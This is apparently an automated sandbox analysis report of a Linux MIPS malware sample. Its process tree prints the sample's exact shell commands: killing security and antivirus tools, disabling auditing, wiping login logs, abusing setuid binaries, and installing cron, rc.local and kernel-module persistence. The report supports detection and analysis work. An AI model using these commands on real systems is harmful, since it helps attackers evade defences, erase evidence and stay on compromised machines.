Analysis
- max time kernel
149s - max time network
152s - platform
debian-9_mips - resource
debian9-mipsbe-20260513-en - resource tags
- submitted
23/09/2026, 12:25
General
- Target xdzlewkx.mips.elf
- Size 1.0MB
- Sample260923-pls9vsbc85
- SHA256 abf04f41c1cd68c2703c47b51effd93373edebd68dc0b08068378253cad41b6e
Score
8/10
Malware Config
Signatures
- Contacts a large (507) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- OS Credential Dumping 1 TTPs 1 IoCs
Adversaries may attempt to dump credentials to use it in password cracking.
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 4 IoCs
Abuse sudo or cached sudo credentials to execute code.
- Creates/modifies Cron job 1 TTPs 4 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Deletes log files 1 TTPs 4 IoCs
Deletes log files on the system.
- Enumerates running processes
Discovers information about currently running processes on the system
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
- Schedules an At job 1 TTPs 1 IoCs
Schedules a job to be run using the at command.
- Uses Polkit to run commands 1 IoCs
Uses Polkit pkexec as a proxy to execute commands, possibly to bypass security restrictions.
- Changes its process name 1 IoCs
- Reads CPU attributes 1 TTPs 64 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 1 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
Processes
-
/tmp/xdzlewkx.mips.elf/tmp/xdzlewkx.mips.elf1⤵
- Changes its process name
- System Network Configuration Discovery
-
/bin/shsh -c -- "cp /proc/self/exe /var/.z 2>/dev/null && chmod +x /var/.z 2>/dev/null"2⤵
- File and Directory Permissions Modification
-
/bin/cpcp /proc/self/exe /var/.z3⤵
-
-
/bin/chmodchmod +x /var/.z3⤵
- File and Directory Permissions Modification
-
-
-
/bin/shsh -c -- "pkill -9 -x kavsvc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x kavf4 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x kavguard 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp5 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp6 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msvsc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msasc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msmpeng 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msseces 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msseces.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avast 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avast5 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avast6 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avastsvc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x ash 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x ashmaisv 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt2 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt3 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x clamd 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x clamdscan 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x clamonacc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-prot 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-prot64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-sport 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-sport64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x smon 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x smon2 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x smon3 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mcs 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mcs2 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mcs3 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navpsv32 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navpsv64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navw32 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navw64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avpsvc.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avpcc.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avpm.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp9.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp10.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp11.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp12.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp13.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp14.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp15.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp16.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp17.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp18.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp19.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp20.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp21.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp22.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp23.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp24.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp25.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp26.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp27.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp28.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp29.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp30.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp31.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp32.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp33.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp34.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp35.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp36.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp37.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp38.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp39.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp40.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp41.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp42.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp43.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp44.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp45.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp46.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp47.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp48.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp49.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp50.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [f]alcond 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [f]alcon 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]sagent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]rowdstrike 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]entinelagent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]entinelhelper 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]1-agent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]1-service 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [x]agt 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]bdefense 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]bagent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]arbonblack 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [r]epwel 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]ylance 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]vcdiva 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [m]datp 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [m]dallaips 2>/dev/null &"2⤵
- System Network Configuration Discovery
-
-
/bin/shsh -c -- "pkill -9 -f [s]ensedata 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]ophos 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]avscanner 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [r]tvscan 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]ymantec 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [S]ymAux 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [t]rendmicro 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [d]s_agent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [e]dragent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [o]squeryd 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]ysmon 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]lamd 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [k]lscan 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [k]avfs 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "auditctl -e 0 2>/dev/null &pkill -9 [a]uditd 2>/dev/null &pkill -9 -f [s]noop 2>/dev/null &pkill -9 -f [a]ccton 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "truncate -s 0 /var/log/auth* /var/log/secure /var/log/wtmp /var/log/lastlog 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mirai 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mirai.arm 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mirai.mips 2>/dev/null &"2⤵
- System Network Configuration Discovery
-
-
/bin/shsh -c -- "pkill -9 -x mirai.mpsel 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x gafgyt 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x bashlite 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x tsunami 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x hakai 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x sora 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x qbot 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x astaroth 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x ozyman 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x nihappy 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "unlink /proc/self/exe 2>/dev/null; for fd in /proc/self/fd/*; do unlink \$fd 2>/dev/null; done &"2⤵
-
/usr/bin/unlinkunlink /proc/self/exe3⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/03⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/13⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/103⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/113⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/123⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/133⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/143⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/153⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/163⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/173⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/183⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/193⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/23⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/203⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/213⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/223⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/233⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/243⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/253⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/263⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/273⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/283⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/293⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/33⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/303⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/313⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/323⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/333⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/343⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/353⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/363⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/373⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/383⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/43⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/53⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/63⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/73⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/83⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/93⤵
-
-
-
/bin/shsh -c -- "/usr/bin/gpasswd -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/gpasswd/usr/bin/gpasswd -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/chfn -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/chfn/usr/bin/chfn -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/sg -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/sg/usr/bin/sg -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/atq -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/atq/usr/bin/atq -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/pkexec -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/pkexec/usr/bin/pkexec -c "exec /tmp/.z &"3⤵
- Uses Polkit to run commands
-
-
-
/bin/shsh -c -- "/usr/bin/at -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/at/usr/bin/at -c "exec /tmp/.z &"3⤵
- Schedules an At job
-
-
-
/bin/shsh -c -- "/usr/bin/newgrp -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/newgrp/usr/bin/newgrp -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/chsh -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/chsh/usr/bin/chsh -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/sudoedit -c 'exec /tmp/.z &' 2>/dev/null"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
/usr/bin/sudoedit/usr/bin/sudoedit -c "exec /tmp/.z &"3⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
-
-
/bin/shsh -c -- "/usr/bin/mailq -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/mailq/usr/bin/mailq -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/newaliases -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/newaliases/usr/bin/newaliases -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/sudo -c 'exec /tmp/.z &' 2>/dev/null"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
/usr/bin/sudo/usr/bin/sudo -c "exec /tmp/.z &"3⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
-
-
/bin/shsh -c -- "/usr/bin/passwd -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/passwd/usr/bin/passwd -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/atrm -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/atrm/usr/bin/atrm -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/su -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/su/bin/su -c "exec /tmp/.z &"3⤵
- OS Credential Dumping
- Enumerates kernel/hardware configuration
-
/bin/bashbash -c "exec /tmp/.z &"4⤵
-
-
-
-
/bin/shsh -c -- "/bin/ping -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/ping/bin/ping -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/ping4 -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/ping4/bin/ping4 -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/ping6 -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/ping6/bin/ping6 -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/umount -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/umount/bin/umount -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/mount -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/mount/bin/mount -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "find / -perm -4000 -type f -exec /tmp/.z \\; 2>/dev/null"2⤵
-
/usr/bin/findfind / -perm -4000 -type f -exec /tmp/.z ";"3⤵
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
-
-
/bin/shsh -c -- "(crontab -l 2>/dev/null; echo '*/5 * * * * { [ -x /tmp/.z ] || cp /var/.z /tmp/.z 2>/dev/null || cp /etc/.z /tmp/.z 2>/dev/null; }; [ -x /tmp/.z ] && /tmp/.z') | crontab - 2>/dev/null; echo '*/5 * * * * root { [ -x /tmp/.z ] || cp /var/.z /tmp/.z 2>/dev/null || cp /etc/.z /tmp/.z 2>/dev/null; }; [ -x /tmp/.z ] && /tmp/.z' > /etc/cron.d/zbot 2>/dev/null; echo '{ [ -x /tmp/.z ] || cp /var/.z /tmp/.z 2>/dev/null || cp /etc/.z /tmp/.z 2>/dev/null; }; [ -x /tmp/.z ] && /tmp/.z' >> /etc/rc.local 2>/dev/null &"2⤵
- Creates/modifies Cron job
- Modifies rc script
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
-
/bin/shsh -c -- "echo '*/5 * * * * { [ -x /tmp/.z ] || cp /var/.z /tmp/.z 2>/dev/null || cp /etc/.z /tmp/.z 2>/dev/null; }; [ -x /tmp/.z ] && /tmp/.z' > /var/spool/cron/zbot 2>/dev/null; echo '*/5 * * * * { [ -x /tmp/.z ] || cp /var/.z /tmp/.z 2>/dev/null || cp /etc/.z /tmp/.z 2>/dev/null; }; [ -x /tmp/.z ] && /tmp/.z' >> /etc/crontab 2>/dev/null &"2⤵
- Creates/modifies Cron job
-
-
/bin/shsh -c -- "insmod /tmp/zbot.ko 2>/dev/null; modprobe zbot 2>/dev/null &"2⤵
-
/sbin/insmodinsmod /tmp/zbot.ko3⤵
-
-
-
/usr/bin/pkillpkill -9 -x kavsvc1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x kavf41⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x kavguard1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp51⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp61⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x msvsc1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x msasc1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x msmpeng1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x msseces1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x msseces.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avast1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avast51⤵
-
/usr/bin/pkillpkill -9 -x avast61⤵
-
/usr/bin/pkillpkill -9 -x avastsvc1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x ash1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x ashmaisv1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avgnt1⤵
-
/usr/bin/pkillpkill -9 -x avgnt.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avgnt21⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avgnt31⤵
-
/usr/bin/pkillpkill -9 -x clamd1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x clamdscan1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x clamonacc1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x f-prot1⤵
-
/usr/bin/pkillpkill -9 -x f-prot641⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x f-sport1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x f-sport641⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x smon1⤵
-
/usr/bin/pkillpkill -9 -x smon21⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x smon31⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x mcs1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x mcs21⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x mcs31⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x navpsv321⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x navpsv641⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x navw321⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x navw641⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp.exe1⤵
-
/usr/bin/pkillpkill -9 -x avpsvc.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avpcc.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avpm.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp9.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp10.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp11.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp12.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp13.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp14.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp15.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp16.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp17.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp18.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp19.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp20.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp21.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp22.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp23.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp24.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp25.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp26.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp27.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp28.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp29.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp30.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp31.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp32.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp33.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp34.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp35.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp36.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp37.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp38.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp39.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp40.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp41.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp42.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp43.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp44.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp45.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp46.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp47.exe1⤵
